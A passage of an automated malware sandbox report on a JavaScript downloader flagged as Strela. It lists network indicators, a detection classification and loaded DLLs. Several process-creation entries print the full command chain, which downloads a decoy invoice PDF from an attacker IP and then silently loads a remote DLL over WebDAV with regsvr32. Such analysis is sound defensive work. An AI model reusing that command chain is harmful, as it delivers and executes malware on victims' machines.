6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49732

Source: global traffic

TCP traffic: 192.168.2.4:49732 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:52086 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49731 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1770178770.000001F64A6F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1821529068.000001E6A3ACB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1821358137.000001E6A3A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: svchost.exe, 00000008.00000002.3065351823.0000023C1D600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1818352831.0000023C1D818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1818352831.0000023C1D818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1818352831.0000023C1D818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1818352831.0000023C1D84D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1818352831.0000023C1D8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1818352831.0000023C1D8C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1818352831.0000023C1D8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6912, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 19165129872063820912.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7076:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_npn1zvfi.0r3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 19165129872063820912.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19165129872063820912.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1536,i,12068301054056956691,14228122358758454941,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\202983042421568.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1536,i,12068301054056956691,14228122358758454941,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
